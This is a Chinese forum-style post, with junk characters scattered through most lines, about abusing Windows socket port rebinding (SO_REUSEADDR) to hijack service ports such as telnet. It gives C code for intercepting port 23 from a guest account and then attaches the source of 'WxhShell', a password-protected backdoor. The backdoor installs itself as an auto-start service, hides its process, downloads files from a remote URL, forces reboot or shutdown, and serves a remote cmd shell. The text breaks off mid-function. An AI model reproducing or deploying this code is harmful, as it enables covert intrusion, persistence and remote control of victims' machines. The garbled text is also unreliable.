在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XEgx#F ;F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0$F _hZU 2EqsfU*
I saddr.sin_family = AF_INET;
=yhn8t7@] <g/(wSl saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H8o%H=I% 8 /RfNGY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>2/wzsW QBPvGnb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^ T:qT*v %x'bo>h@ 这意味着什么?意味着可以进行如下的攻击:
3wa<,^kqy r:8]\RU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]\os`At :>er^\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p0y0T|H^ m|e*Jc 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G\,A> mT/P uz#eO|z@o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;*37ta Fy(nu-W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u_[4n tmY-m,U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.1[2 CjQ QE{;M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dPyBY]` z7.C\l #include
faL^=CAe #include
gQk#l\w_ #include
S'%cf7Z #include
t\|K" DWORD WINAPI ClientThread(LPVOID lpParam);
asmW
W8lz int main()
thZ@BrO# {
d'x<F[`O WORD wVersionRequested;
"e7$q&R
| DWORD ret;
Vf,~MG WSADATA wsaData;
WT ~dA95 BOOL val;
(-Ct!aW| SOCKADDR_IN saddr;
(61twutC SOCKADDR_IN scaddr;
K+\0}qn int err;
K^cWj_a" SOCKET s;
qY~$wVY( SOCKET sc;
hO<w]jV, int caddsize;
M;vlQ"Yl' HANDLE mt;
(HV~ '5D DWORD tid;
He71h(BHm wVersionRequested = MAKEWORD( 2, 2 );
{,-5k.P[ err = WSAStartup( wVersionRequested, &wsaData );
M:1F@\< if ( err != 0 ) {
-RqAT 1 printf("error!WSAStartup failed!\n");
nGJIjo_I return -1;
:86luLFm }
ZTPOD.:# saddr.sin_family = AF_INET;
M-qxD"VtV= :'=~/GR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Dxa)7dA| T.m)c%]^/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
I;11j saddr.sin_port = htons(23);
"TH-A6v1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O"s`-OM;n {
'__3[D printf("error!socket failed!\n");
ZNH*[[Pf return -1;
GT\s!D;< }
NV:XPw/ val = TRUE;
eS@!\Hx //SO_REUSEADDR选项就是可以实现端口重绑定的
'*LN)E>d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7s fuju( {
9bcyPN printf("error!setsockopt failed!\n");
cmGj0YUQ1 return -1;
ga1gd~a }
M?4r 5R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
DneSzqO"o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
bmq XP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5t5S{aCDr v`ZusHJ1d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8.3_Wb(c {
+8vzkfr3It ret=GetLastError();
7Ae,|k printf("error!bind failed!\n");
g$-D?~(Z return -1;
=*>4Gh
i }
}vxH)U6$q listen(s,2);
(h>X:! while(1)
~:b:_ 5" {
gc8PA_bFz caddsize = sizeof(scaddr);
]gZ8b-
2O //接受连接请求
<iprPk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D15u1A if(sc!=INVALID_SOCKET)
_d=&9d#=\ {
`=l{kBZT| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\A\yuJ= if(mt==NULL)
(R*jt,x {
U#]eN[ printf("Thread Creat Failed!\n");
r5qx! > break;
IOSoc 7+" }
=5=Vm[ }
_Il9s#NA% CloseHandle(mt);
*I1W+W`G }
3w:Z4]J closesocket(s);
jUR# WSACleanup();
|e[0Qo@ return 0;
xjbyI_D }
llG#nDe DWORD WINAPI ClientThread(LPVOID lpParam)
ut5!2t$c {
6ewOZ,"j"4 SOCKET ss = (SOCKET)lpParam;
a&c#* 9t{ SOCKET sc;
[11-`v0 unsigned char buf[4096];
1 l*(8!_ SOCKADDR_IN saddr;
q{+poVX long num;
P$qkb|D, DWORD val;
V?J,ab$X# DWORD ret;
1o8"==n% //如果是隐藏端口应用的话,可以在此处加一些判断
<C96]}/ ? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bq&S?! =s saddr.sin_family = AF_INET;
N[bf.5T saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?*mbce[ saddr.sin_port = htons(23);
+G[HZ,FL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|{LaZXU & {
XM@i|AK
M0 printf("error!socket failed!\n");
898wZ{ 9 return -1;
9-iB?a7{. }
E!~2\qKT val = 100;
`8.32@rUB. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
42LXL*-4 {
utl=O ret = GetLastError();
GGL4<P7 return -1;
wfTv<WG,.E }
U+r#YE. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v9` B.(Ru {
~)8i5p;P/k ret = GetLastError();
|Ge/|;.v` return -1;
3a)Q:#okD }
R}6la.mQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v4##(~Tu {
n_&)VF#n( printf("error!socket connect failed!\n");
%s : closesocket(sc);
H_=[~mJ closesocket(ss);
NEou2y+} return -1;
W#_gvW }
vMdhNOU while(1)
V>uW|6 {
fX$4TPy(h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P:-/3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
fQ_8{=<-&X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
lnSE+YJ> num = recv(ss,buf,4096,0);
'*;eFnmvs: if(num>0)
aq \TO? send(sc,buf,num,0);
@wgGnb) else if(num==0)
mL5f_Fb+ break;
wR+`("2{r num = recv(sc,buf,4096,0);
>upUY(3& if(num>0)
RkP|_Bf8) send(ss,buf,num,0);
mFoK76 else if(num==0)
DSZhl-uGM break;
y$9t!cx }
dB/I2uGl> closesocket(ss);
!3Z|!JY closesocket(sc);
~I|R}hS return 0 ;
8[`<u[Iv }
lbU+a$ Y9y*":&% e.ym7L]$O ==========================================================
Wy>\KrA1 SA n=9MG 下边附上一个代码,,WXhSHELL
zp-~'kIJ U105u.#7 ==========================================================
!,!tNs1 K E^W*'D #include "stdafx.h"
'<D}5u72 78~V/L;@S2 #include <stdio.h>
'p+QFT>Ca #include <string.h>
;p!hd}C #include <windows.h>
9QZ wUQ #include <winsock2.h>
&0Zk3D4 #include <winsvc.h>
^K8a#- #include <urlmon.h>
|8{iIvi/ FH(+7Lz4; #pragma comment (lib, "Ws2_32.lib")
/_\W*@ E #pragma comment (lib, "urlmon.lib")
+1fOW4!5 [\n.[4gq" #define MAX_USER 100 // 最大客户端连接数
`3P62M< #define BUF_SOCK 200 // sock buffer
K5rj!*x.o #define KEY_BUFF 255 // 输入 buffer
\1'R}B@; I>~BkR+u%o #define REBOOT 0 // 重启
7:E#c"S
q #define SHUTDOWN 1 // 关机
6Q.whV%y >,vW #define DEF_PORT 5000 // 监听端口
?'m5)Z{ x)Kh_G #define REG_LEN 16 // 注册表键长度
Tm.w+@ #define SVC_LEN 80 // NT服务名长度
sl O9H6< '^3pF2lIw // 从dll定义API
0M2+?aKif typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]!o,S{a& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5<?$/H|7T typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f|1FqL+T] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<f{`}drp/ Cy'W!qH // wxhshell配置信息
<%uZwk># struct WSCFG {
&YP>"< int ws_port; // 监听端口
k\Tm?^L) char ws_passstr[REG_LEN]; // 口令
`9{C/qB int ws_autoins; // 安装标记, 1=yes 0=no
.h^Ld,Chj char ws_regname[REG_LEN]; // 注册表键名
I19F\
L`4 char ws_svcname[REG_LEN]; // 服务名
2czL 1Ci char ws_svcdisp[SVC_LEN]; // 服务显示名
usf(U> char ws_svcdesc[SVC_LEN]; // 服务描述信息
-vAG5x/ , char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!O_^Rn+<2 int ws_downexe; // 下载执行标记, 1=yes 0=no
]=<@G.[= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vg1s5Yqk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_!1c.[\T y+R$pzX };
%~XJwy- z4:09!o_ // default Wxhshell configuration
pvxqeC9` struct WSCFG wscfg={DEF_PORT,
2dW-WHaM "xuhuanlingzhe",
g c=|<( 1,
LgKEg90w( "Wxhshell",
R!xc$`N "Wxhshell",
4>`w9 "WxhShell Service",
*X5LyO3-gP "Wrsky Windows CmdShell Service",
dh`A(B{hfc "Please Input Your Password: ",
aJ;R8(*;\ 1,
Mn;CG'FA "
http://www.wrsky.com/wxhshell.exe",
O4mWsr "Wxhshell.exe"
S^=/}PT' };
o;/F=Zp :8T@96]P // 消息定义模块
U<byR!qLie char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y%8QFM char *msg_ws_prompt="\n\r? for help\n\r#>";
vG:,oB} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
v3#47F) char *msg_ws_ext="\n\rExit.";
n:z>l,`C] char *msg_ws_end="\n\rQuit.";
g&5VorGx char *msg_ws_boot="\n\rReboot...";
0k]N%!U char *msg_ws_poff="\n\rShutdown...";
sRI8znus char *msg_ws_down="\n\rSave to ";
:b)@h|4 T,@7giQg@ char *msg_ws_err="\n\rErr!";
kIo?<=F8T char *msg_ws_ok="\n\rOK!";
e$I:[> 3e1"5~?'< char ExeFile[MAX_PATH];
)+R3C% int nUser = 0;
HXo'^^}q; HANDLE handles[MAX_USER];
5|z[%x~f int OsIsNt;
lR^Qm| .AS,]*?Zn% SERVICE_STATUS serviceStatus;
R_DQtLI SERVICE_STATUS_HANDLE hServiceStatusHandle;
NPab M(<` PmTd+Gj$ // 函数声明
-W vAmi int Install(void);
|8ZAE%/d int Uninstall(void);
?"Q6;np* int DownloadFile(char *sURL, SOCKET wsh);
lph_cY3p int Boot(int flag);
P~>nlm82] void HideProc(void);
wO
NQlt int GetOsVer(void);
|9M
y>8k( int Wxhshell(SOCKET wsl);
"E#%x{d void TalkWithClient(void *cs);
vUA`V\ int CmdShell(SOCKET sock);
]z NL+]1_ int StartFromService(void);
xSZw, int StartWxhshell(LPSTR lpCmdLine);
kp"cHJNx -7Wmq[L/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'.yr8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
VlvDodV ypVr"fWB // 数据结构和表定义
e@YR/I8my SERVICE_TABLE_ENTRY DispatchTable[] =
dq&d>f1 {
GrIdQi^8 {wscfg.ws_svcname, NTServiceMain},
_:
x$"i {NULL, NULL}
e&nw&9vo };
),|bP`V #xB%v // 自我安装
GV/FK{v5 int Install(void)
RzRLrfV {
' 'N@ <| char svExeFile[MAX_PATH];
j+seJg<_ HKEY key;
)I_I?e strcpy(svExeFile,ExeFile);
af{K4:I oQO3:2a // 如果是win9x系统,修改注册表设为自启动
\GPc_m:qL if(!OsIsNt) {
,B><la87 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ho|n\7$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uqH;1T;s RegCloseKey(key);
54&2SU$kx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6!N&,I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A}# Mrb RegCloseKey(key);
-B!pg7>'## return 0;
/@e\I0P^ }
I&0yUhn }
|n/id(R+ }
CJ b~~ else {
cj)~7 WF t~`Ef // 如果是NT以上系统,安装为系统服务
( d.i np( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>6j`ZWab> if (schSCManager!=0)
F9" K {
75u*ZMK SC_HANDLE schService = CreateService
.b"e`Bw_= (
IA'AA|v schSCManager,
@VAhmYz wscfg.ws_svcname,
'M{_S wscfg.ws_svcdisp,
wVTo7o%U SERVICE_ALL_ACCESS,
7Ll(,i<,C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?a}~yz#B( SERVICE_AUTO_START,
:OM>z4mQ SERVICE_ERROR_NORMAL,
2o;M:+KQ) svExeFile,
+tF,E^ NULL,
Oh: -Y]m= NULL,
_{aVm&^kA NULL,
M
5h U.3.L NULL,
AJ /_l; NULL
}PJ:9<G
y );
2ou?:5i if (schService!=0)
?{'Q}% {
CpXv?uU CloseServiceHandle(schService);
mB\|<2 CloseServiceHandle(schSCManager);
rX[R`,`>Z[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O%I' strcat(svExeFile,wscfg.ws_svcname);
*`W82V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ZmDr$iU~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6SwHl_2% RegCloseKey(key);
zob-z==' return 0;
zc"eSy< w$ }
LY MfoXp }
8V nZ@* CloseServiceHandle(schSCManager);
UJI1n?~ }
5`J.
ic }
,LvJ'N <t Nx*ce5 return 1;
jZGmTtx }
9}-,dgAB +qdK]RR} // 自我卸载
(|-/S0AV int Uninstall(void)
q$K~BgFzpZ {
xab[ HKEY key;
$f%_ 4 = =uH`EkY: if(!OsIsNt) {
x]:mc%4-Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dNR4h RegDeleteValue(key,wscfg.ws_regname);
|@+
x9|'W RegCloseKey(key);
<8Ad\MU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Nuj%8om6 RegDeleteValue(key,wscfg.ws_regname);
J_,y?}.e3 RegCloseKey(key);
D 6(w}W return 0;
2Y,s58F }
g7F>o76M }
!tVV +vT# }
7]Z*]GRX else {
3^Ex_jeB Sb<=ROCg@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6^p6v if (schSCManager!=0)
NXV%j},> {
i9\Pks#l% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e2;">tp6? if (schService!=0)
(\G~S 4 {
vi'K|[!? if(DeleteService(schService)!=0) {
r6A7}v CloseServiceHandle(schService);
UuN(+&oD- CloseServiceHandle(schSCManager);
umi#Se3& return 0;
J[9jNCq| }
OAv/P|n= CloseServiceHandle(schService);
N%0Z>
G }
9i"3R0HN CloseServiceHandle(schSCManager);
>0> M@s }
-n6C~Yx }
DQ,Q yV Y$N|p{Z return 1;
9:P)@UF }
6ik6JL$AI
9TeDLp // 从指定url下载文件
7Kn=[2J5k' int DownloadFile(char *sURL, SOCKET wsh)
6A%Y/oU+2 {
'?QZ7A HRESULT hr;
i'a M#4V char seps[]= "/";
9J<KR#M char *token;
Th-zMQ4 char *file;
{MIs%w.G char myURL[MAX_PATH];
N@k:kI char myFILE[MAX_PATH];
S"lcePN f6DPah# strcpy(myURL,sURL);
ioZ2J"s token=strtok(myURL,seps);
1@/+ c while(token!=NULL)
0-=QQOART\ {
2WKA] l; file=token;
Tux~4W token=strtok(NULL,seps);
R^D~ic
N }
!OiP<8 ,H FrB19 GetCurrentDirectory(MAX_PATH,myFILE);
Rq;R{a strcat(myFILE, "\\");
|u03~L9G strcat(myFILE, file);
_yU
e2Gd send(wsh,myFILE,strlen(myFILE),0);
l9n8v\8,o send(wsh,"...",3,0);
&4]%&mX)- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
fz:F*zT1 if(hr==S_OK)
P afmHXx return 0;
'Y[\[]3[8 else
-2f0CAh~ return 1;
m0 `wmM %F03cI, }
py)V7*CgH pxP7yJL` // 系统电源模块
] $5r h8 int Boot(int flag)
@%RDw*L( {
X2s=~)`#c HANDLE hToken;
KBXdr5 2" TOKEN_PRIVILEGES tkp;
!Qn:PSk Xc'yz 2B if(OsIsNt) {
SMnbI.0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O9!<L.X,% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]Dx5t& tkp.PrivilegeCount = 1;
z.7 UfLV9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R_/T bz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+W-sb5) if(flag==REBOOT) {
Q7i^VN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!DLIIKO78 return 0;
-OoXb( I4 }
$+$+;1[ else {
sjztT<{Q^- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+-5CM0*& return 0;
bE0cW'6r }
a}MOhM6T }
>/Slk{ else {
7quhp\ if(flag==REBOOT) {
wN;o++6V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,VbP$1t return 0;
Pf]L`haGN }
{R&F_51)V else {
e-x{7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,OG sx return 0;
!G,Ru~j5: }
Z#d_<e? }
m/CA d[jxU/.p; return 1;
,>e)8 }
i_ I`Y _8t{4C // win9x进程隐藏模块
.,-t}5(VSq void HideProc(void)
=U2`]50 {
RKRk,jRL }[?X%= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u6|P)8?` if ( hKernel != NULL )
) 3Eax_?Z {
~G,n> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3]/w3|y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t hTY('m FreeLibrary(hKernel);
V&[|%jm& }
t4
$cMf 4WU
6CN return;
Zn&X
Uvdl }
cy%^P^M SkVW8n*s // 获取操作系统版本
8q}`4wCD$ int GetOsVer(void)
<{:$]3 {
& Z*&& OSVERSIONINFO winfo;
, En
D3
| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{- tCLkE
3 GetVersionEx(&winfo);
|G!-FmIK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L~CwL return 1;
`G6Nk@9. else
bv-s}UP0 return 0;
ps^Z)x`GV }
sYgpK92 PudwcP{ // 客户端句柄模块
,\xeNUZd int Wxhshell(SOCKET wsl)
8.F]&D0p8 {
cC b'z1 SOCKET wsh;
T ^%$ struct sockaddr_in client;
px".pYr0 DWORD myID;
S"V|BU JM@MNS_||( while(nUser<MAX_USER)
Tgc)'8A;BN {
cT-XF int nSize=sizeof(client);
c2-NXSjsW wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gVEW*8 if(wsh==INVALID_SOCKET) return 1;
Gd%KBb j)]mN$Sa: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r^q@rL> if(handles[nUser]==0)
]FL=E3U closesocket(wsh);
3I@j=:(%Y else
{H=DeQ nUser++;
l0l2fwz( }
X70G@-w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rK9X68) 2y`rS
_2 return 0;
lt`#or"o }
BMgiXdv.B ~f;d3dJ]/ // 关闭 socket
58ev (f void CloseIt(SOCKET wsh)
v=RQ"iv8 {
^ dM,K
p closesocket(wsh);
zkA"2dh nUser--;
;n?H/(6X8> ExitThread(0);
|Rf4^vN }
&J,MJ{w6" 2<y!3OeN // 客户端请求句柄
]KBzuz% void TalkWithClient(void *cs)
(ylpH`
{
)u7y.o vdyLwBz: SOCKET wsh=(SOCKET)cs;
dX^OV$ char pwd[SVC_LEN];
^`!5!| char cmd[KEY_BUFF];
]*'V#;s char chr[1];
YQ:FBj int i,j;
tH`!? q$Gf9&ZO while (nUser < MAX_USER) {
MR} GxI -NGY+1 if(wscfg.ws_passstr) {
i?.MD+f8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h%|Jkx!v-t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-U`]/ //ZeroMemory(pwd,KEY_BUFF);
>j%HVRW i=0;
2WE_NEpJI while(i<SVC_LEN) {
\=P+]9 /J")S?. [u // 设置超时
dj3}Tjt fd_set FdRead;
U ]Ek5p struct timeval TimeOut;
eZ'J,; FD_ZERO(&FdRead);
s,!+wHv_8 FD_SET(wsh,&FdRead);
?ey!wcv~ TimeOut.tv_sec=8;
*G"L]Nq# TimeOut.tv_usec=0;
+]
s"* 'V$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hN=YC\l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0pYO-@E 2m7Z:b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.'.#bH9K pwd
=chr[0]; cy%JJ)sf
if(chr[0]==0xd || chr[0]==0xa) { _ +q.R
pwd=0; kC"lO'
break; (U#4j 6Q
} A%qlB[!:
i++; Dl_y[9
} Y]!8Ymuww@
$k5mI1~
// 如果是非法用户,关闭 socket ZJlmHlAX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); } Wx#"6
} !#wd~: H
x%Ivd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BU
|]4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~<!b}Hv
5Arx"=c
while(1) { \3a(8Em
'mx_]b^O
ZeroMemory(cmd,KEY_BUFF); U{6i5;F#H
aZ"9)RJe
// 自动支持客户端 telnet标准 Vj(}'h-c\
j=0; !*JE%t
while(j<KEY_BUFF) { d}#G~O+y3v
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @62QDlt;
cmd[j]=chr[0]; 4Y2l]86
if(chr[0]==0xa || chr[0]==0xd) { 4Qh\3UL~
cmd[j]=0; -b'93_ZTu:
break; >U?HXu/TJr
} Z\Qa6f!
j++; ky*-THS
} sz4)xJgF(
8#b>4Dx
// 下载文件 5:ca6H
if(strstr(cmd,"http://")) { t
1gH9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \i%h/Ao
if(DownloadFile(cmd,wsh)) $n>|9(K8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EA_6L\+8&
else o0t/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C QO gR GW
} unn2MP'
else { \@6PA
_o'_ z ]
switch(cmd[0]) { j<[+vrj
4|i.b?"
// 帮助 0`y;[qAG[
case '?': { yf5X=f.%@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aM/sD=}
break; B^`'2$3
} jF4h/((|EU
// 安装 H]>b<Cs
case 'i': { z@5t7e)!R
if(Install()) woIcW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0=]RG
else U6SgV
8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l{OU\
break; Hp`Mp)1s
} e}e|??'(\
// 卸载 E07g^y"}i
case 'r': { #SWL$Vm>
if(Uninstall()) (KQAKEhD!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?bF
b|5t
else &Xw{%Rg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5T]GyftFV
break; aDr46TB`J
} P){F2&!P
// 显示 wxhshell 所在路径 ;;4xpg
case 'p': { u`GzYG-L
char svExeFile[MAX_PATH]; GR&T
Z
strcpy(svExeFile,"\n\r"); -UgD
strcat(svExeFile,ExeFile); 5<1,`Bq@
send(wsh,svExeFile,strlen(svExeFile),0); =+@Ip Xj
break; 5\1C@d
} B1\@ n$
// 重启 @#sBom+K`
case 'b': { 2x3'm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ai/VbV'|
if(Boot(REBOOT)) zQsu~8PX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XHq8p[F
else { WPbWG$Li
closesocket(wsh); +Fu=9j/,j
ExitThread(0); sA6Ku(9
} Q)pm3Wi
break; Gp6|0:2,L~
} NUB 3L
// 关机 6OeRBD&
case 'd': { 6@ `'}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M+Rxt.~6
if(Boot(SHUTDOWN)) NUiNn 7C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N[G<&f9
else { 8p3pw=p
closesocket(wsh); 8!e1T,:b
ExitThread(0); =l&A9 >\
} tF> ?]
break; W/Rb7q4v
} 0:<dj:%M
// 获取shell B5%N@g$`j
case 's': { JpuF6mQ
CmdShell(wsh); t-#Y6U}b+
closesocket(wsh); 3W*O%9t7
ExitThread(0); # f~,8<K
break; adEcIvN$
} 0Me*X
// 退出 Gx75EQ2
case 'x': { T?=[6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F[ca4_lK
CloseIt(wsh); RU`m|<
break;
~;aSE
} g2
dvs
// 离开 U4hsbraz
case 'q': { S9Kay'.aJ(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); dm4dT59
closesocket(wsh); 7X| M\WUq
WSACleanup(); <{\UE~
exit(1); ^%|(dMo4
break; cpV:y
} @=jcdn!\M
} LGb.>O^
} ebF},Q(48
,nMc.
G3
// 提示信息 $~,]F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qwka77nNT
} 8'+XR`g:ax
} Y4PU~l
Q7PqN1jTE
return; %;,D:Tv=&
} |0Kj0u8T
Q!DQ!;Br6
// shell模块句柄 m4:b?[
int CmdShell(SOCKET sock) -B\`O*Q
{ @nN+F,phx
STARTUPINFO si; h 9V9.'
ZeroMemory(&si,sizeof(si)); a.F6!?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h#bpog
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1a{~B#
PROCESS_INFORMATION ProcessInfo; C._I\:G^
char cmdline[]="cmd"; 3mWd?!+m=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #mqz*=L3
return 0; NJ-cP m
} 7{oG4X!
SZ}t_w `
// 自身启动模式 Mnpb".VU#T
int StartFromService(void) B^(0>Da\
{ D]+tr%
typedef struct Py(l+Ik`>
{ ;D_6u(IC4:
DWORD ExitStatus; m{gK<T
DWORD PebBaseAddress; 8a{FxCBw
DWORD AffinityMask; i3k ',8
DWORD BasePriority; k07 JMS?
